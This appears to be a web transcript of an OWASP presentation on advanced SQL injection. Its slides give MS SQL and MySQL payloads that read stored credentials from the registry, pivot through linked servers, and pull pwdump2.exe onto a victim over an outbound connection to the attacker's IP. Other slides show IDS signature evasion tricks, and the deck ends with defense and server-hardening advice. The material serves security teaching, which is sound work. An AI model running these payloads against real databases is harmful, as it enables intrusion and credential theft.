Speech example '; int exec sp_oacreate out exec 'register', NULL, 'x', 'x' exec 'speed', exec 'speak', NULL, 'warning, your sequel server has been hacked!', 1 waitfor delay '00:00:03' -- Yet another way to execute commands or applications from SQL Server is through ActiveX automation. Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. This example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak. OWASP

Retrieving VNC Password from Registry
'; binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value output select as bigint) as x into TEMP-- ' and 1 in (select cast(x as varchar) from temp) -- There are also extended procedures that will allow us to read or write to the registry. With the xp_regread we would be able to extract the decimal equivalent of the obfuscated VNC password. The whole set of built in extended stored procedures for interacting with the registry are: xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring and xp_regwrite. Some other interesting keys to explore include: HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\nullsessionshares HKLM\SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon\DefaultUserName HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ Winlogon\DefaultPassword HKLM\SOFTWARE\Microsoft\TelnetServer\1.0\NTLM HKLM\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous HKLM\SOFTWARE\ORL\WinVNC3\Default\Password HKU\Software\ORL\WinVNC3\Password HKLM\SOFTWARE\Symantec\Norton AntiVirus\CurrentVersion HKU\Software\Microsoft\Internet Account Manager\Accounts\ \POP3 User Name HKU\Software\Kazaa\UserDetails\UserName HKU\Software\Microsoft\Exchange\UserName HKU\Software\Microsoft\Exchange\LogonDomain OWASP

7) Expand Influence 1) Input Validation 2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt In this final stage we may want to expand our influence to other applications or servers. 7) Expand Influence OWASP

Hopping into other DB Servers
Finding linked servers in MS SQL select * from sysservers Using the OPENROWSET command hopping to those servers can easily be achieved The same strategy we saw earlier with using OPENROWSET for reverse connections To find out if there are any linked servers we may use the sysservers table. Once we know what the other servers are, hopping into their databases can be easily achieved by using the OPENROWSET command again. OWASP

Linked Servers '; insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') select * from master.dbo.sysservers 'select * from mydatabase..hacked_linked_sysservers') select * from LinkedServer.master.dbo.sysservers 'select * from mydatabase..hacked_linked_sysdatabases') select * from LinkedServer.master.dbo.sysdatabases Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with a remote database server. Linked servers allow us to execute distributed queries and even control remote database servers. We could use this capability to access the internal network. We would start by collecting information from the master.dbo.sysservers system table as demonstrated here. To expand further, the attacker could then query the information from the linked and remote servers. The first insert brings us the linked servers in the sysservers table. The second one allows us to retrieve the sysservers table in one of the linked servers. And the last insert would retrieve the remote databases from the sysdatabases table in the linked server. OWASP

Executing through stored procedures remotely
If the remote server is configured to only allow stored procedure execution, this changes would be made: insert into OPENROWSET('SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers' 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases' Sometimes the servers will be configured to only allow remote stored procedure execution and they will not permit arbitraries queries to run. If the linked and remote servers are not configured for data access we could try this. All the queries can be done through the sp_executesql stored procedure that circumvents this restriction. OWASP

Uploading files through reverse connection
'; create table AttackerTable (data text) -- '; bulk insert AttackerTable -- from 'pwdump2.exe' with (codepage='RAW') '; exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLSer ver\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' -- '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor - PPass123' -- Once we have gained adequate privileges on the SQL Server, we will then want to upload “binaries” to the server. Since normally this can not be done using protocols such as SMB, since port typically is blocked at the firewall, we will need another method of getting the binaries onto the remote file system. This can be done by uploading a binary file into a table local to us and then pulling the data to the remote server file system using a SQL Server connection. Having created the table to hold the binary, the attacker would then upload the binary into the attackerTable. To circumvent the firewall, we will then configure a connection to our server over port 80 by modifying the registry. The binary can then be downloaded to the victim server from our server by running the remote bcp statement on the victim server. This statement will issue an outbound connection to the attacker’s server and write the results of the query into a file recreating the executable. OWASP

Uploading files through SQL Injection
If the database server has no Internet connectivity, files can still be uploaded Similar process but the files have to be hexed and sent as part of a query string Files have to be broken up into smaller pieces (4,000 bytes per piece) When there is no Internet connectivity files can still be uploaded by hexing them and sending them as part of the query strings. This is still a manual and tedious process but can be done by a dedicated hacker. OWASP

Example of SQL injection file uploading
The whole set of queries is lengthy You first need to inject a stored procedure to convert hex to binary remotely You then need to inject the binary as hex in byte chunks ' varchar(8000) = '4d5a …  8000 hex chars … ' output ; insert master..pwdump2 -- Finally you concatenate the binaries and dump the file to disk. The whole queries would have taken too much space to include here. OWASP

Evasion Techniques OWASP The OWASP Foundation http://www.owasp.org
In some cases there will be input validation in place or an Intrusion Prevention System that will distort or drop some of our attempts to inject. We will now review possible evasion techniques. Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

Signatures can be evaded easily
Evasion Techniques Input validation circumvention and IDS Evasion techniques are very similar Snort based detection of SQL Injection is partially possible but relies on "signatures" Signatures can be evaded easily Input validation, IDS detection AND strong database and OS hardening must be used together Both IDS and input validation circumvention are very similar. We will use different techniques to change the expected input and bypass completely the "signatures". IDS or IPS should never be used alone to protect applications from SQL Injection vulnerabilities. It should be implemented as an alerting mechanism. OWASP

IDS Signature Evasion Evading ' OR 1=1 signature
' OR 'unusual' = 'unusual' ' OR 'something' = 'some'+'thing' ' OR 'text' = N'text' ' OR 'something' like 'some%' ' OR 2 > 1 ' OR 'text' > 't' ' OR 'whatever' IN ('whatever') ' OR 2 BETWEEN 1 AND 3 An IDS signature may be looking for the 'OR 1=1. There are numerous ways of replacing this so that it continues to have the same effect. OWASP

Some people use PHP addslashes() function to escape characters
Input validation Some people use PHP addslashes() function to escape characters single quote (') double quote (") backslash (\) NUL (the NULL byte) This can be easily evaded by using replacements for any of the previous characters in a numeric field One common way to implement input validation in PHP is by using PHP's addslashes() function or by turning on magic_quotes_gpc. This will protect string injection but this may give them a false sense of security since injection in numeric fields is still possible. OWASP

Evasion and Circumvention
IDS and input validation can be circumvented by encoding Some ways of encoding parameters URL encoding Unicode/UTF-8 Hex enconding char() function Some ways to evade and circumvent validation or detection is through encoding of parameters. Different types of detection will be vulnerable to distinct encoding. OWASP

MySQL Input Validation Circumvention using Char()
Inject without quotes (string = "%"): ' or username like char(37); Inject without quotes (string = "root"): ' union select * from users where login = char(114,111,111,116); Load files in unions (string = "/etc/passwd"): ' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1, 1; Check for existing files (string = "n.ext"): ' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0)); To inject into MySQL without using double quotes the char() function can be very useful. Char() also works on almost all other DBs but sometimes it can only hold one character at a time like for example char(0x##)+char(0x##)+… OWASP

IDS Signature Evasion using white spaces
UNION SELECT signature is different to UNION SELECT Tab, carriage return, linefeed or several white spaces may be used Dropping spaces might work even better 'OR'1'='1' (with no spaces) is correctly interpreted by some of the friendlier SQL databases IDSs used to be vulnerable to changing the number of white spaces and could be tricked by doing so. Adding special characters like tab, carriage return or linefeeds will sometimes evade the signature. Some SQL interpreters do not even need spaces between commands and parameters. This would completely change the IDS's signature and make untraceable without changing the execution of the statement. OWASP

IDS Signature Evasion using comments
Some IDS are not tricked by white spaces Using comments is the best alternative /* … */ is used in SQL99 to delimit multirow comments UNION/**/SELECT/**/ '/**/OR/**/1/**/=/**/1 This also allows to spread the injection through multiple fields USERNAME: ' or 1/* PASSWORD: */ =1 -- There is another very interesting way to evade IDS. And that is by using the multirow comments. These will work in almost all databases and can be used to replace white spaces. They could even allow to spread commands through different fields. OWASP

IDS Signature Evasion using string concatenation
In MySQL it is possible to separate instructions with comments UNI/**/ON SEL/**/ECT Or you can concatenate text and use a DB specific instruction to execute Oracle '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER' MS SQL '; EXEC ('SEL' + 'ECT US' + 'ER') In MySQL comments can even be put in the middle of SQL commands. Another way of splitting instructions to avoid IDS detection is by using execution commands that allow us to concatenate text in Oracle or MS SQL Server. OWASP

IDS and Input Validation Evasion using variables
Yet another evasion technique allows for the definition of variables ; nvarchar(80); = N'SEL' + N'ECT US' + N'ER'); EXEC EXEC Or even using a hex value ; varchar(80); = 0x73656c f6e; EXEC This statement uses no single quotes (') Other techniques will allow us to define variables and then have them executed. Variables can be defined in hex completely avoiding the need for single quotes. OWASP

Defending Against SQL Injection
OWASP Defending against SQL Injection is easy. But it has to be done in a methodical way. Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

It is quite simple: input validation
SQL Injection Defense It is quite simple: input validation The real challenge is making best practices consistent through all your code Enforce "strong design" in new applications You should audit your existing websites and source code Even if you have an air tight design, harden your servers Input validation is the most important part of defending against SQL injection. You should enforce input validation in all new applications through strong design. Any you should audit all your existing code and websites. You should additionally always harden your servers as well. OWASP

Define an easy "secure" path to querying data
Strong Design Define an easy "secure" path to querying data Use stored procedures for interacting with database Call stored procedures through a parameterized API Validate all input through generic routines Use the principle of "least privilege" Define several roles, one for each kind of query What we believe to be a strong design, is that which can be secure always. For this to happen it has also to be the easiest way for programmers to query the database. You should use stored procedures to interact with database and call procedures through a parameterized API. All input should be validated and all database users should run under the "least privilege" principle. You may need to define different roles, one for every type of query. OWASP

Define data types for each field
Input Validation Define data types for each field Implement stringent "allow only good" filters If the input is supposed to be numeric, use a numeric variable in your script to store it Reject bad input rather than attempting to escape or modify it Implement stringent "known bad" filters For example: reject "select", "insert", "update", "shutdown", "delete", "drop", "--", "'" For each field you should define the type of input it will allow. Then you should use filters to verify that only good input gets through and that you reject any suspicious one. Implement "known bad" filters for SQL reserved words and characters. OWASP

Harden the Server Run DB as a low-privilege user account
Remove unused stored procedures and functionality or restrict access to administrators Change permissions and remove "public" access to system objects Audit password strength for all user accounts Remove pre-authenticated linked servers Remove unused network protocols Firewall the server so that only trusted clients can connect to it (typically only: administrative network, web server and backup server) Harden your servers. If there is a breach, you should be protected to the core. Never trust your input validation, applications continue to change through time and unexpected vulnerabilities may emerge in time. OWASP

Detection and Dissuasion
You may want to react to SQL injection attempts by: Logging the attempts Sending alerts Blocking the offending IP Sending back intimidating error messages: "WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken." Check with your lawyers for proper wording This should be coded into your validation scripts One last but important point is to apply dissuasive messages to your error messages. This will scare most of the possible attackers away. Use an IDS to detect and block attacks, they may try other avenues if the first one fails. OWASP

SQL Injection is a fascinating and dangerous vulnerability
Conclusion SQL Injection is a fascinating and dangerous vulnerability All programming languages and all SQL databases are potentially vulnerable Protecting against it requires strong design correct input validation hardening OWASP

Links A lot of SQL Injection related papers Other resources
Other resources OWASP

Advanced SQL Injection
Victor Chapela OWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation

Advanced SQL Injection

Similar presentations

Presentation on theme: "Advanced SQL Injection"— Presentation transcript:

Similar presentations

About project

Feedback

Log in

Auth with social network:

Advanced SQL Injection

Similar presentations

Presentation on theme: "Advanced SQL Injection"— Presentation transcript:

Similar presentations

About project

Feedback